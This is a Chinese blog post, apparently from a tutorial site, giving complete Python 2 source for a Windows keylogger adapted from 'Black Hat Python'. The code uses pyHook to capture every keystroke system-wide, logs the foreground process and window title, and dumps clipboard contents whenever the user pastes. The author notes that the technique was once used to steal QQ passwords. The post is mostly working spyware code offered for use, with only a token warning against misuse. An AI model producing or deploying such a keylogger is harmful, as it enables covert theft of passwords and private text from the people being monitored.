Windows键盘嗅探器

Windows键盘嗅探器


今天,闲的无聊,于是做了一个简单的键盘嗅探器,主要代码来源于《Python黑帽子》,不得不说,这本书写的特别好,带我进入了黑客的编程世界。以前学习编程,只知道常用的功能,不知道怎么入门网络安全方面,当然吗,现在还没有。。。

键盘记录是一个古老的技术,可以捕捉你在键盘上打的字符,从而知道你的隐私信息,以前QQ密码常用的盗窃就是这样实现的,当然了,一山更比一山高,现在最新版的QQ不能获取了,我试探的时候,QQ客户端会随机产生字母出来,完全无法捕捉。

不管了,我们先来看看如何获取键盘的信息,我们需要安装PyHook库,这个库封装了Windows函数SetWindowsHookEx,简称钩子函数,这个函数允许我们安装自定义的钩子函数,当特定的WIndows事件发生,这个钩子函数就会被调用,从而获得按键消息。

我们看代码:

#coding:utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
    #获得前台句柄
    hwnd = user32.GetForegroundWindow()
    #获得进程ID
    pid = c_ulong(0)
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
    process_id = '%d' % pid.value

    executable = create_string_buffer('\x00'*512)
    h_process = kernel32.OpenProcess(0x400|0x10,False,pid)
    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
    #读取窗口标题
    window_title = create_string_buffer("\x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title),512)

    print 
    print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
    print 
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)


####################################
##########钩子核心代码###############
def KeyStroke(event):
    global current_window
    if event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
        # if they pressed a standard key
    if event.Ascii > 32 and event.Ascii < 127:
        print chr(event.Ascii),
    else:
        ####如果输入的[Ctrl+V],则获得剪贴板内容
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print "[PASTE] - %s" % (pasted_value),
        else:
            print "[%s]" % event.Key,
    return True
###############钩子管理#######
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
kl.HookKeyboard()
pythoncom.PumpMessages()

最后运行,就可以获得敲键盘的所以信息了,不要用它干坏事哦!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值